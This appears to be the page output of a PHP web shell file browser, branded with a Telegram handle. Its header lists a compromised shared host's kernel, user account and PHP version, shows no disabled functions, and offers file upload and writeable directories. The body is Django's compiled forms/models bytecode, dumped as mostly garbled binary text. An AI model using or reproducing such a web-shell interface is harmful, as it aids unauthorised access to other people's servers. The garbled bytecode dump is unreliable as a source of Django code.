https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/forms/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/forms/__pycache__/models.cpython-310.pyc
o

3�a���@s4dZddlZddlmZddlmZmZmZmZddl	m
Z
mZddlm
Z
mZddlmZmZddlmZdd	lmZmZmZmZdd
lmZddlmZmZddlmZm Z!d
Z"dZ#d=dd�Z$d=dd�Z%dd�Z&				d>dd�dd�Z'Gdd�d�Z(Gdd�de�Z)Gdd�de
�Z*Gdd �d e*e)d!�Z+e+dddddddddf
d"d#�Z,Gd$d%�d%e�Z-e+de-d&d'd'ddddd'dddddd'dddfd(d)�Z.Gd*d+�d+e-�Z/d?d,d-�Z0e+e/dddd.d'ddddd'dddddd'dddfd/d0�Z1Gd1d2�d2e�Z2Gd3d4�d4�Z3Gd5d6�d6�Z4Gd7d8�d8e
�Z5Gd9d:�d:e5�Z6d;d<�Z7dS)@z[
Helper functions for creating Form classes from Django models
and database field objects.
�N)�chain)�NON_FIELD_ERRORS�
FieldError�ImproperlyConfigured�ValidationError)�ChoiceField�Field)�BaseForm�DeclarativeFieldsMetaclass)�BaseFormSet�formset_factory)�	ErrorList)�HiddenInput�MultipleHiddenInput�RadioSelect�SelectMultiple)�RemovedInDjango40Warning)�capfirst�
get_text_list)�gettext�gettext_lazy)�	ModelForm�
BaseModelForm�
model_to_dict�fields_for_model�ModelChoiceField�ModelMultipleChoiceField�
ALL_FIELDS�BaseModelFormSet�modelformset_factory�BaseInlineFormSet�inlineformset_factory�modelform_factory�__all__c	Cs�ddlm}|j}|j}g}|jD]\}|jr!t||j�s!|j|vr"q|dur,|j|vr,q|r4|j|vr4q|�	�rX||jj
j�|j
|j|�|j��rX|�|j�||jj
jvrXqt||j�rd|�|�q|�|||j�q|D]}|�|||j�qp|S)z�
    Construct and return a model instance from the bound ``form``'s
    ``cleaned_data``, but do not save the returned instance to the database.
    r)�modelsN)�	django.dbr$�_meta�cleaned_data�fields�editable�
isinstance�	AutoField�name�has_default�field�widget�value_omitted_from_data�data�files�
add_prefix�get�empty_values�	FileField�append�save_form_data)	�form�instancer(�excluder$�optsr'�file_field_list�f�r?�5/usr/lib/python3/dist-packages/django/forms/models.py�construct_instance s0

�"�rAcCsh|j}i}t|j|j|j�D]#}t|dd�sq|dur!|j|vr!q|r)|j|vr)q|�|�||j<q|S)a�
    Return a dict containing the data in ``instance`` suitable for passing as
    a Form's ``initial`` keyword argument.

    ``fields`` is an optional list of field names. If provided, return only the
    named.

    ``exclude`` is an optional list of field names. If provided, exclude the
    named from the returned dict, even if they are listed in the ``fields``
    argument.
    r)FN)r&r�concrete_fields�private_fields�many_to_many�getattrr,�value_from_object)r:r(r;r<r1r>r?r?r@rIsrcCs�ddlm}m}m}t|d�rBt|d�rD|��}|rF|}t||�s(|di|��}|||d�d�M}|j�||jj	j
�|���|_dSdSdSdS)	z=Apply limit_choices_to to the formfield's queryset if needed.r)�Exists�OuterRef�Q�queryset�get_limit_choices_to�pk�rLNr?)�django.db.modelsrGrHrI�hasattrrKr*rJ�filter�model�
_base_manager)�	formfieldrGrHrI�limit_choices_to�complex_filterr?r?r@�#apply_limit_choices_to_to_formfieldbs

��rVT��apply_limit_choices_toc
s�i�g�|j}ddlm��fdd�|jD�}tt|j||j��D]�}
t|
dd�sF|durE|
j	|vrE�dus;|
j	�vrEt
d|
j	|jf��q!|durP|
j	|vrPq!�rX|
j	�vrXq!i}|rh|
j	|vrh||
j	|d	<|tkss|rw|
j	|vrwd
|d<|r�|
j	|vr�||
j	|d<|r�|
j	|vr�||
j	|d
<|r�|
j	|vr�||
j	|d<|	r�|
j	|	vr�|	|
j	|d<|dur�|
j
di|��}nt|�s�td��||
fi|��}|r�|
r�t|�|�|
j	<q!��|
j	�q!|r���fdd�|D���S)a4
    Return a dictionary containing form fields for the given model.

    ``fields`` is an optional list of field names. If provided, return only the
    named fields.

    ``exclude`` is an optional list of field names. If provided, exclude the
    named fields from the returned fields, even if they are listed in the
    ``fields`` argument.

    ``widgets`` is a dictionary of model field names mapped to a widget.

    ``formfield_callback`` is a callable that takes a model field and returns
    a form field.

    ``localized_fields`` is a list of names of fields which should be localized.

    ``labels`` is a dictionary of model field names mapped to a label.

    ``help_texts`` is a dictionary of model field names mapped to a help text.

    ``error_messages`` is a dictionary of model field names mapped to a
    dictionary of error messages.

    ``field_classes`` is a dictionary of model field names mapped to a form
    field class.

    ``apply_limit_choices_to`` is a boolean indicating if limit_choices_to
    should be applied to a field's queryset.
    r)rcsg|]	}t|��r|�qSr?)r*��.0r>)�
ModelFieldr?r@�
<listcomp>��z$fields_for_model.<locals>.<listcomp>r)FNzH'%s' cannot be specified for %s model form as it is a non-editable fieldr/T�localize�label�	help_text�error_messages�
form_classz1formfield_callback must be a function or callablecs,i|]}�r
|�vr|�vr|��|��qSr?)r4rY)r;�
field_dict�ignoredr?r@�
<dictcomp>�s�
�z$fields_for_model.<locals>.<dictcomp>r?)r&rNrrC�sortedrrBrDrEr,r�__name__rrS�callable�	TypeErrorrVr7)rQr(r;�widgets�formfield_callback�localized_fields�labels�
help_textsra�
field_classesrXr<�sortable_private_fieldsr>�kwargsrSr?)r[r;rcrdr@rrs^"���rc@seZdZddd�ZdS)�ModelFormOptionsNcCs�t|dd�|_t|dd�|_t|dd�|_t|dd�|_t|dd�|_t|dd�|_t|dd�|_t|dd�|_t|d	d�|_	dS)
NrQr(r;rjrlrmrnraro)
rErQr(r;rjrlrmrnraro)�self�optionsr?r?r@�__init__�szModelFormOptions.__init__�N)rg�
__module__�__qualname__rur?r?r?r@rr�srrcseZdZ�fdd�Z�ZS)�ModelFormMetaclassc
szd}|D]}t|d�rt|jd�r|jj}nq|�d|�}t��||||�}|tfkr.|Stt|dd��}|_	dD]}	t||	�}
t
|
t�rX|
tkrXd|j
|	|
d�}t|��q;|jr�|jdurl|jdurltd|��|jtkrtd|_t|j|j|j|j||j|j|j|j|jdd�}d	d
�|��D�}
|
�|j�}|r�d}|d�|�|jj
f}t|��|�|j�n|j}||_ |S)
N�Metark)r(r;rlzP%(model)s.Meta.%(opt)s cannot be a string. Did you mean to type: ('%(value)s',)?)rQ�opt�valuez|Creating a ModelForm without either the 'fields' attribute or the 'exclude' attribute is prohibited; form %s needs updating.FrWcSsh|]\}}|s|�qSr?r?)rZ�k�vr?r?r@�	<setcomp>sz-ModelFormMetaclass.__new__.<locals>.<setcomp>z&Unknown field(s) (%s) specified for %sz, )!rOrzrk�pop�super�__new__rrrrEr&r*�strrrgrirQr(r;rrrjrlrmrnraro�items�
difference�declared_fields�joinr�update�base_fields)�mcsr,�bases�attrs�base_formfield_callback�brk�	new_classr<r{r|�msgr(�none_model_fields�missing_fields�message��	__class__r?r@r��sb�

�����

�	
�zModelFormMetaclass.__new__)rgrwrxr��
__classcell__r?r?r�r@ry�srycsteZdZdddddedddddf�fdd�	Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
ddd�Zde_�Z
S)rN�id_%sFcs�|j}|jdurtd��|	dur|��|_i}
n|	|_t|	|j|j�}
|dur,|
�|�d|_t	�j
|||||
||||
|d�
|j��D]}t|�qDdS)Nz'ModelForm has no model class specified.F)�use_required_attribute�renderer)
r&rQ�
ValueErrorr:rr(r;r��_validate_uniquer�ru�valuesrV)rsr1r2�auto_id�prefix�initial�error_class�label_suffix�empty_permittedr:r�r�r<�object_datarSr�r?r@ru!s&


�
�zBaseModelForm.__init__cCs�g}|jjjD][}|j}||jvr|�|j�q|jjr)||jjvr)|�|j�q|jjr:||jjvr:|�|j�q||jvrF|�|j�q|j|}|j�|�}|j	sb|j
sb||jvrb|�|j�q|S)z�
        For backwards-compatibility, exclude several types of fields from model
        validation. See tickets #12507, #12521, #12553.
        )r:r&r(r,r7r;�_errorsr'r4�blank�requiredr5)rsr;r>r.�
form_field�field_valuer?r?r@�_get_validation_exclusions>s"


	�z(BaseModelForm._get_validation_exclusionscCsd|_|jS)NT)r�r'�rsr?r?r@�cleangszBaseModelForm.cleancCs�|j}t|d�r|j}nt|i}|��D]8\}}|tkr*|jr*t|jvr*|jt}n
||jvr6|j|j}nq|D]}t|t�rK|j	|vrK||j	|_
q9q|�d|�dS)N�
error_dict)r&rOr�rr�rar(r*r�coder��	add_error)rs�errorsr<r�r.�messagesrar�r?r?r@�_update_errorsks$




��zBaseModelForm._update_errorsc
Cs�|j}|��}|j��D]\}}t|t�r|�|�qz
t||j|j|j	�|_Wnt
y?}z|�|�WYd}~nd}~wwz
|jj|dd�Wnt
ya}z|�|�WYd}~nd}~ww|j
rk|��dSdS)NF)r;�validate_unique)r&r�r(r�r*�InlineForeignKeyFieldr7rAr:r;rr��
full_cleanr�r�)rsr<r;r,r.�er?r?r@�_post_clean�s*	

������zBaseModelForm._post_cleanc
CsN|��}z
|jj|d�WdSty&}z|�|�WYd}~dSd}~ww)z�
        Call the instance's validate_unique() method and update the form's
        validation errors if any were raised.
        �r;N)r�r:r�rr�)rsr;r�r?r?r@r��s��zBaseModelForm.validate_uniquecCs�|j}|jj}|jj}|jj}t|j|j�D]'}t|d�sq|r&|j	|vr&q|r.|j	|vr.q|j	|vr=|�
|j||j	�qdS)zS
        Save the many-to-many fields and generic relations for this form.
        r8N)r'r&r;r(r:rrDrCrOr,r8)rsr'r;r(r<r>r?r?r@�	_save_m2m�s

��zBaseModelForm._save_m2mTcCsZ|jrtd|jjj|jjjrdf��df��|r&|j��|��|jS|j|_	|jS)z�
        Save this form's self.instance object if commit=True. Otherwise, add
        a save_m2m() method to the form which can be called after the instance
        is saved manually at a later time. Return the model instance.
        z8The %s could not be %s because the data didn't validate.�created�changed)
r�r�r:r&�object_name�_state�adding�saver��save_m2m)rs�commitr?r?r@r��s ����
�zBaseModelForm.save�T)rgrwrxr
rur�r�r�r�r�r�r��alters_datar�r?r?r�r@r s�)
rc@seZdZdS)rN)rgrwrxr?r?r?r@r�sr)�	metaclasscCsd|i}|dur||d<|dur||d<|dur||d<|dur$||d<|dur,||d<|dur4||d<|	dur<|	|d	<|
durD|
|d
<t|d�rM|jfnd}td||�}
|r\t|�|
_|jd
}|
|d�}t|
dd�durzt|
dd�durztd��t|�||f|�S)al
    Return a ModelForm containing form fields for the given model. You can
    optionally pass a `form` argument to use as a starting point for
    constructing the ModelForm.

    ``fields`` is an optional list of field names. If provided, include only
    the named fields in the returned fields. If omitted or '__all__', use all
    fields.

    ``exclude`` is an optional list of field names. If provided, exclude the
    named fields from the returned fields, even if they are listed in the
    ``fields`` argument.

    ``widgets`` is a dictionary of model field names mapped to a widget.

    ``localized_fields`` is a list of names of fields which should be localized.

    ``formfield_callback`` is a callable that takes a model field and returns
    a form field.

    ``labels`` is a dictionary of model field names mapped to a label.

    ``help_texts`` is a dictionary of model field names mapped to a help text.

    ``error_messages`` is a dictionary of model field names mapped to a
    dictionary of error messages.

    ``field_classes`` is a dictionary of model field names mapped to a form
    field class.
    rQNr(r;rjrlrmrnrarorzr?�Form)rzrkzZCalling modelform_factory without defining 'fields' or 'exclude' explicitly is prohibited.)rOrz�type�staticmethodrkrgrEr)rQr9r(r;rkrjrlrmrnraror�r�rz�
class_name�form_class_attrsr?r?r@r"�s>'

��r"cs�eZdZdZdZe�Z		d*dd��fdd�Z�fdd�Zd	d
�Z	dd�Z
�fd
d�Zdd�Zd+dd�Z
d+dd�Zd+dd�Zd+dd�Zde_dd�Zdd�Zdd�Zd d!�Zd"d#�Zd+d$d%�Zd+d&d'�Z�fd(d)�Z�ZS),rzO
    A ``FormSet`` for editing a queryset and/or adding new objects to it.
    Nr�)r�cs0||_||_t�jdi||||d�|���dS)N)r1r2r�r�r?)rJ�
initial_extrar�ru)rsr1r2r�r�rJr�rqr�r?r@ruAs$zBaseModelFormSet.__init__cs|js	t|���St���S)z=Return the number of forms that are required in this FormSet.)�is_bound�len�get_querysetr��initial_form_countr�r�r?r@r�Gs
z#BaseModelFormSet.initial_form_countcCs*t|d�sdd�|��D�|_|j�|�S)N�_object_dictcSsi|]}|j|�qSr?rM�rZ�or?r?r@reO�z5BaseModelFormSet._existing_object.<locals>.<dictcomp>)rOr�r�r4)rsrLr?r?r@�_existing_objectMs
z!BaseModelFormSet._existing_objectcCs$|jdur|j��}|jdus|jS)z�
        If the field is a related field, fetch the concrete field's (that
        is, the ultimate pointed-to field's) to_python.
        N)�remote_field�get_related_field�	to_python�rsr.r?r?r@�_get_to_pythonRs


�zBaseModelFormSet._get_to_pythoncs||��k}|rR|jrId|�|�|jjjjf}z|j|}Wn	ty(YnDw|�	|jjj�}z||�}Wn	t
y@Yn,w|�|�|d<n#|��||d<n|j
rlz
|j
||��|d<Wn	tykYnwt�j|fi|��}|r�d|j|jjjj_|S)Nz%s-%sr:r�T)r�r�r3rQr&rLr,r1�KeyErrorr�rr�r�r��
IndexErrorr��_construct_formr(r�)rs�irq�pk_required�pk_keyrLr�r9r�r?r@r�[s6���z BaseModelFormSet._construct_formcCsLt|d�s#|jdur|j}n|jj��}|js |�|jjjj	�}||_
|j
S)N�	_queryset)rOrJrQ�_default_managerr��ordered�order_byr&rLr,r�)rs�qsr?r?r@r�}s

zBaseModelFormSet.get_querysetTcCs|j|d�S)z8Save and return a new model instance for the given form.�r��r��rsr9r�r?r?r@�save_new��zBaseModelFormSet.save_newcCs|j|d�S)z>Save and return an existing model instance for the given form.r�r�)rsr9r:r�r?r?r@�
save_existing�r�zBaseModelFormSet.save_existingcCs|r|��dSdS)z#Deletes an existing model instance.N)�delete)rs�objr�r?r?r@�delete_existing�s�z BaseModelFormSet.delete_existingcs0|sg�_�fdd�}|�_��|���|�S)z�
        Save model instances for every form, adding and changing instances
        as necessary, and return the list of instances.
        cs�jD]}|��qdSrv)�saved_formsr�)r9r�r?r@r��s

�z'BaseModelFormSet.save.<locals>.save_m2m)r�r��save_existing_objects�save_new_objects)rsr�r�r?r�r@r��s
zBaseModelFormSet.savecCs|��dSrv)r�r�r?r?r@r���zBaseModelFormSet.cleancs�t�}t�}�j��fdd��jD�}|D]����}�jj|d�\}}|�|�|�|�qg}|D]O\}}	t�}
|D]E���fdd�|	D�}tdd�|D��}|r�d|vr�||
vr||���	|	����
���g��jt
<|	D]}|�jvr{�j|=qp|
�|�q<q3|D]d}
t�}
|
\}}}}|D]V��jr�j|dur�j|dur�|dkr��j|}|j|j|jf}n	t�j||�f}�j|f|}||
vr�|���|
����
���g��jt
<�j|=|
�|�q�q�|r�t|��dS)Ncs g|]}|��r|�vr|�qSr?)�is_valid)rZr9)�forms_to_deleter?r@r\�s z4BaseModelFormSet.validate_unique.<locals>.<listcomp>r�c3s2�|]}|�jvr|�jvr|n�j|VqdSrv)r'�
unique_fields�rZr.)r9rsr?r@�	<genexpr>�s���z3BaseModelFormSet.validate_unique.<locals>.<genexpr>css8�|]}t|d�r
|��n
t|t�rt|�n|VqdS)�_get_pk_valN)rOr�r*�list�tuple)rZ�dr?r?r@r��s��
��date)�set�
deleted_forms�formsr�r:�_get_unique_checksr�r�r7�get_unique_error_messager��get_form_errorr�rr'�add�year�month�dayrE�get_date_error_messager)rs�all_unique_checks�all_date_checks�valid_formsr;�
unique_checks�date_checksr��uclass�unique_check�	seen_data�row_datar.�
date_check�lookup�
unique_forr��	date_datar1r?)r9r�rsr@r��sf
��
�
��

���z BaseModelFormSet.validate_uniquecCs:t|�dkrtd�d|diStd�dt|td��iS)N�z0Please correct the duplicate data for %(field)s.r.rzFPlease correct the duplicate data for %(field)s, which must be unique.�and)r�rr�_�rsrr?r?r@r��s��z)BaseModelFormSet.get_unique_error_messagecCs$td�|d|dt|d�d�S)NzoPlease correct the duplicate data for %(field_name)s which must be unique for the %(lookup)s in %(date_field)s.��r)�
field_name�
date_fieldr)rr�)rsrr?r?r@rs�
��z'BaseModelFormSet.get_date_error_messagecCstd�S)Nz*Please correct the duplicate values below.)rr�r?r?r@r�
szBaseModelFormSet.get_form_errorcCs�g|_g|_|jsgSg}|j}|jD]=}|j}|jdurq||vr0|j�|�|j||d�q|��rP|j�||j	f�|�|j
|||d��|sP|j�|�q|S�Nr�)�changed_objects�deleted_objects�
initial_formsr�r:rLr7r��has_changed�changed_datar�r�)rsr��saved_instancesr�r9r�r?r?r@r�s(

�z&BaseModelFormSet.save_existing_objectscCsZg|_|jD]#}|��s
q|jr|�|�rq|j�|j||d��|s)|j�|�q|jSr)�new_objects�extra_formsr�
can_delete�_should_delete_formr7r�r�)rsr�r9r?r?r@r�*s
�z!BaseModelFormSet.save_new_objectsc	s$ddlm�m}m}|jjj|_}��fdd���|�s#|j|j	vr�|j
r2|jjj
r-dn|jj}nz|dur?|��|j}nd}WntyMd}Ynwt|||f�r]|jjj��}n|jj��}|�|jjj�}|jjrz|jj�|jjt�}nt}t||d|d�|j	|jj<t��||�dS)z0Add a hidden field for the object's primary key.r)r+�
ForeignKey�
OneToOneFieldcs6|jp|jpt|��p|jo|jjo�|jjjj�Srv)r)�auto_createdr*r��parent_linkrQr&rLrM�r+�pk_is_not_editabler?r@r*Bs�z7BaseModelFormSet.add_fields.<locals>.pk_is_not_editableNF)r�r�r/)rNr+r%r&rQr&rL�	_pk_fieldr,r(r�r:r�r�r�r�r*r�r��using�dbrjr4rrr��
add_fields)	rsr9�indexr%r&rL�pk_valuer�r/r�r)r@r.8s.��zBaseModelFormSet.add_fields)NNr�NNr�)rgrwrx�__doc__rQr�r�rur�r�r�r�r�r�r�r�r�r�r�r�r�rr�r�r�r.r�r?r?r�r@r8s6��	"



I



rrFc
Cszt|dd�}t|d|�durt|d|	�durtd��t||||	||
||
|||d�}t|||||||||||d�}||_|S)z8Return a FormSet class for the given Django model class.rzNr(r;z]Calling modelformset_factory without defining 'fields' or 'exclude' explicitly is prohibited.)
r9r(r;rkrjrlrmrnraro)	�extra�min_num�max_num�	can_orderr#�validate_min�validate_max�absolute_max�can_delete_extra)rErr"rrQ)rQr9rk�formsetr2r#r5r4r(r;rjr7rlrmrnrar3r6ror8r9�meta�FormSetr?r?r@rds&�
��rcspeZdZdZ		d�fdd�	Z�fdd�Z�fdd	�Zed
d��Zd�fd
d�	Z	�fdd�Z
�fdd�Z�ZS)r z0A formset for child objects related to a parent.NFc	s�|dur|jj��|_n||_||_|dur|jj}|jjdur.|jdi|jj|ji��}n|�	�}|jjh|_
t�j||f||d�|��|j
jjrr|jj|j
jjvrtt|j
jjt�rft|j
jj�|j
j_|j
jj�|jj�dSdSdS)N)r�rJr?)�fkr�rQr:�save_as_newr�rLrPr,�noner�r�rur9r&r(r*r�r�r7)	rsr1r2r:r>r�rJrqr�r�r?r@ru�s �zBaseInlineFormSet.__init__cs|jrdSt���S)Nr)r>r�r�r�r�r?r@r��s
z$BaseInlineFormSet.initial_form_countcs�t�j|fi|��}|jr8t|jdd�}|durd|j_d|j|�|jj�<d|j|�|j	j�<|dur8||j_|j
j}|j	jj
|j	jjjjjkrXt|j
|j	jj
�}t|d|�}t|j
|j	��|�|S)N�_mutableTrL)r�r�r>rEr1r@r3r+r,r=r:rLr�rrQr&�setattr�get_attname)rsr�rqr9�mutable�fk_valuer�r?r@r��sz!BaseInlineFormSet._construct_formcCs|jjj|jd��dd�S)N)rQ�+�)r=r��get_accessor_namerQ�replace)�clsr?r?r@�get_default_prefix�sz$BaseInlineFormSet.get_default_prefixTcs$t|j|jj|j�t�j||d�Sr)rAr:r=r,r�r�r�r�r?r@r��szBaseInlineFormSet.save_newcs�t��||�|j|jkr|jj}ddi}n|jj}dt|j�|�dt|jj	��i}|jj
j|jj
jj
jjkr>|jj
j|d<|jjjre|�d�durT|jj
�|d�}n|jj
j}|��ret|j|jd�t|jfi|��|j|<dS)N�pk_fieldTr_�to_field)r�r.r+r=r,rEr(r4r�verbose_namer�rrQr&rLr:r�r��	get_fieldr-rA�attnamer�)rsr9r/r,rqrLr�r?r@r.�s 
�

zBaseInlineFormSet.add_fieldscs�fdd�|D�}t��|�S)Ncsg|]
}|�jjkr|�qSr?)r=r,r�r�r?r@r\�sz>BaseInlineFormSet.get_unique_error_message.<locals>.<listcomp>)r�r�rr�r�r@r��sz*BaseInlineFormSet.get_unique_error_message)NNNFNNr�)
rgrwrxr1rur�r��classmethodrJr�r.r�r�r?r?r�r@r �s�
r csddlm�|j}�rM�fdd�|jD�}t|�dkr?|d}t|��r3|jj�kr=|jj�j��vr=t	d��jj
f��|S|sKt	d|jj
�f��|S��fdd�|jD�}t|�dkrd|d}|S|sv|rjd	St	d
|jj
�jj
f��t	d|jj
�jj
f��)aD
    Find and return the ForeignKey from model to parent if there is one
    (return None if can_fail is True and no such field exists). If fk_name is
    provided, assume it is the name of the ForeignKey field. Unless can_fail is
    True, raise an exception if there isn't a ForeignKey from model to
    parent_model.
    r)r%csg|]	}|j�kr|�qSr?)r,rY��fk_namer?r@r\�r]z$_get_foreign_key.<locals>.<listcomp>rz)fk_name '%s' is not a ForeignKey to '%s'.z'%s' has no field named '%s'.cs8g|]}t|��r|jj�ks|jj�j��vr|�qSr?)r*r�rQr&�get_parent_listrY)r%�parent_modelr?r@r\s��Nz'%s' has no ForeignKey to '%s'.zR'%s' has more than one ForeignKey to '%s'. You must specify a 'fk_name' attribute.)rNr%r&r(r�r*r�rQrSr�r_)rTrQrR�can_failr<�
fks_to_parentr=r?)r%rRrTr@�_get_foreign_key�sP	
�#����������rWrcCs�t|||d�}|jrd}
id|�d|�d|�d|�d|	�d|�d	|�d
|�d|�d|
�d
|�d|�d|
�d|�d|�d|�d|�|||d��}t|fi|��}||_|S)z�
    Return an ``InlineFormSet`` for the given kwargs.

    ``fk_name`` must be provided if ``model`` has more than one ``ForeignKey``
    to ``parent_model``.
    rQrr9rkr:r2r#r5r(r;r3r4rjr6r7rlrmrnra)ror8r9)rW�uniquerr=)rTrQr9r:rRr(r;r2r5r#r4rkrjr7rlrmrnrar3r6ror8r9r=rqr<r?r?r@r!sZ��������	�
���
������r!csHeZdZdZeZded�iZddd��fdd�
Zd	d
�Z	dd�Z
�ZS)
r�zw
    A basic integer field that deals with validating the given value to a
    given parent instance in an inline.
    �invalid_choicez3The inline value did not match the parent instance.FN)rKrLcs`||_||_||_|jdur!|jrt|j|j�|d<n|jj|d<d|d<t�j|i|��dS)Nr�Fr�)�parent_instancerKrLrErLr�ru)rsrZrKrL�argsrqr�r?r@ruXs
zInlineForeignKeyField.__init__cCs`||jvr
|jr
dS|jS|jrt|j|j�}n|jj}t|�t|�kr-t|jddd��|jS)NrY�r�)	r5rKrZrLrErLr�rra)rsr|�origr?r?r@r�ds
zInlineForeignKeyField.cleancCsdS�NFr?)rsr�r1r?r?r@rssz!InlineForeignKeyField.has_changed)rgrwrxr1rr/r�default_error_messagesrur�rr�r?r?r�r@r�Ns�r�c@s$eZdZdd�Zdd�Zdd�ZdS)�ModelChoiceIteratorValuecCs||_||_dSrv)r|r:)rsr|r:r?r?r@ruxs
z!ModelChoiceIteratorValue.__init__cCs
t|j�Srv)r�r|r�r?r?r@�__str__|s
z ModelChoiceIteratorValue.__str__cCst|t�r|j}|j|kSrv)r*r`r|)rs�otherr?r?r@�__eq__s

zModelChoiceIteratorValue.__eq__N)rgrwrxrurarcr?r?r?r@r`wsr`c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�ModelChoiceIteratorcCs||_|j|_dSrv)r.rJr�r?r?r@ru�szModelChoiceIterator.__init__ccsJ�|jjdurd|jjfV|j}|js|��}|D]}|�|�VqdS)NrF)r.�empty_labelrJ�_prefetch_related_lookups�iterator�choice)rsrJr�r?r?r@�__iter__�s��zModelChoiceIterator.__iter__cCs |j��|jjdur
dSdS)Nrr)rJ�countr.rer�r?r?r@�__len__�s zModelChoiceIterator.__len__cCs|jjdup
|j��Srv)r.rerJ�existsr�r?r?r@�__bool__�szModelChoiceIterator.__bool__cCst|j�|�|�|j�|�fSrv)r`r.�
prepare_value�label_from_instance�rsr�r?r?r@rh�s
�zModelChoiceIterator.choiceN)rgrwrxrurirkrmrhr?r?r?r@rd�s
rdc
s�eZdZdZded�iZeZdddddddddd	�	d
d�Zdd
�Z	�fdd�Z
dd�Zdd�Ze
ee�Zdd�Zdd�Ze
eej�Z�fdd�Zdd�Zdd�Zdd�Z�ZS) rz1A ChoiceField whose choices are a model QuerySet.rYzGSelect a valid choice. That choice is not one of the available choices.z	---------TNrFF)	rer�r/r_r�r`�
to_field_namerTr�c	Ks^tj|f|||||d�|��|r|dust|jt�r!|
s!d|_n||_||_|	|_||_dS)N)r�r/r_r�r`)	rrur*r/rrerJrTrq)rsrJrer�r/r_r�r`rqrTr�rqr?r?r@ru�s(����
��
zModelChoiceField.__init__cCst|j�r	|��S|jS)z�
        Return ``limit_choices_to`` for this form field.

        If it is a callable, invoke it and return the result.
        )rhrTr�r?r?r@rK�s
z%ModelChoiceField.get_limit_choices_tocs*tt|��|�}|jdur|j��|_|Srv)r�r�__deepcopy__rJ�all)rs�memo�resultr�r?r@rr�s
zModelChoiceField.__deepcopy__cCs|jSrv)r�r�r?r?r@�
_get_queryset�szModelChoiceField._get_querysetcCs$|durdn|��|_|j|j_dSrv)rsr��choicesr/)rsrJr?r?r@�
_set_queryset�szModelChoiceField._set_querysetcCst|�S)z�
        Convert objects into strings and generate the labels for the choices
        presented by this object. Subclasses can override this method to
        customize the display of the choices.
        �r�rpr?r?r@ro�sz$ModelChoiceField.label_from_instancecCst|d�r|jS|�|�S)N�_choices)rOrzrgr�r?r?r@�_get_choices�s

	zModelChoiceField._get_choicescs.t|d�r|jr|�|j�S|jSt��|�S�Nr&)rOrq�serializable_valuerLr�rn�rsr|r�r?r@rn�s

zModelChoiceField.prepare_valuec
Csz||jvrdSz|jpd}t||jj�rt||�}|jjdi||i��}W|Stt|jjj	fy<t
|jddd��w)NrLrYr\r?)r5rqr*rJrQrEr4r�ri�DoesNotExistrra)rsr|�keyr?r?r@r�s


��zModelChoiceField.to_pythoncCst�||�Srv)r�validater~r?r?r@r�r�zModelChoiceField.validatecCs@|jrdS|dur|nd}|dur|nd}t|�|��t|�kS)NFrF)�disabledr�rn)rsr�r1�
initial_value�
data_valuer?r?r@rs
zModelChoiceField.has_changed)rgrwrxr1rr_rdrgrurKrrrvrx�propertyrJror{r�_set_choicesrwrnr�r�rr�r?r?r�r@r�s,��

rcsleZdZdZeZeZed�ed�ed�d�Z	�fdd�Z
dd	�Zd
d�Zdd
�Z
�fdd�Zdd�Z�ZS)rz9A MultipleChoiceField whose choices are a model QuerySet.zEnter a list of values.zESelect a valid choice. %(value)s is not one of the available choices.u"“%(pk)s” is not a valid value.)�invalid_listrY�invalid_pk_valuecsPt�j|fddi|��|j�d�dur&tjdtdd�|jd|jd<dSdS)Nrer�zFThe 'list' error message key is deprecated in favor of 'invalid_list'.r)�
stacklevelr�)r�rurar4�warnings�warnr)rsrJrqr�r?r@ru"s��z!ModelMultipleChoiceField.__init__cCs|sgSt|�|��Srv)r��
_check_valuesr~r?r?r@r�,sz"ModelMultipleChoiceField.to_pythoncCsr|�|�}|jr|st|jddd��|js|s|j��St|ttf�s-t|jddd��|�	|�}|�
|�|S)Nr�r\r�)rnr�rrarJr?r*r�r�r��run_validators)rsr|r�r?r?r@r�1s



�

zModelMultipleChoiceField.cleanc
s�|jpd�zt|�}Wntyt|jddd��w|D]$}z
|jjdi�|i��WqttfyBt|jddd|id��w|jjdid�|i��}�fdd�|D�}|D]}t|�|vrot|jd	d	d
|id��q[|S)
z�
        Given a list of possible PK values, return a QuerySet of the
        corresponding objects. Raise a ValidationError if a given value is
        invalid (not a valid PK, not in the queryset, etc.)
        rLr�r\r�)r��paramsz%s__incsh|]	}tt|����qSr?)r�rEr��r�r?r@r]r]z9ModelMultipleChoiceField._check_values.<locals>.<setcomp>rYr|Nr?)	rq�	frozensetrirrarJrPr�r�)rsr|rLr��pks�valr?r�r@r�Bs<
������z&ModelMultipleChoiceField._check_valuescsDt|d�rt|t�st|d�st�j��fdd�|D�St��|�S)Nrir&csg|]}�|��qSr?r?)rZr~�rnr?r@r\lr�z:ModelMultipleChoiceField.prepare_value.<locals>.<listcomp>)rOr*r�r�rnr~r�r�r@rngs
��z&ModelMultipleChoiceField.prepare_valuecCs`|jrdS|durg}|durg}t|�t|�krdSdd�|�|�D�}dd�|D�}||kS)NFTcS�h|]}t|��qSr?ry�rZr|r?r?r@rxr�z7ModelMultipleChoiceField.has_changed.<locals>.<setcomp>cSr�r?ryr�r?r?r@ryr�)r�r�rn)rsr�r1�initial_set�data_setr?r?r@rosz$ModelMultipleChoiceField.has_changed)rgrwrxr1rr/r�
hidden_widgetrr_rur�r�r�rnrr�r?r?r�r@rs�
%rcCs"t|d�o|jjdup|jjduSr|)rOr&r(r;)rbr?r?r@�modelform_defines_fields}s

�r�)NN)	NNNNNNNNNr^)8r1r��	itertoolsr�django.core.exceptionsrrrr�django.forms.fieldsrr�django.forms.formsr	r
�django.forms.formsetsrr�django.forms.utilsr
�django.forms.widgetsrrrr�django.utils.deprecationr�django.utils.textrr�django.utils.translationrrrr#rrArrVrrrryrrr"rrr rWr!r�r`rdrrr�r?r?r?r@�<module>s|

)��Y
H@
�U.
�
d8
�/)sf

https://t.me/RX1948 - 2025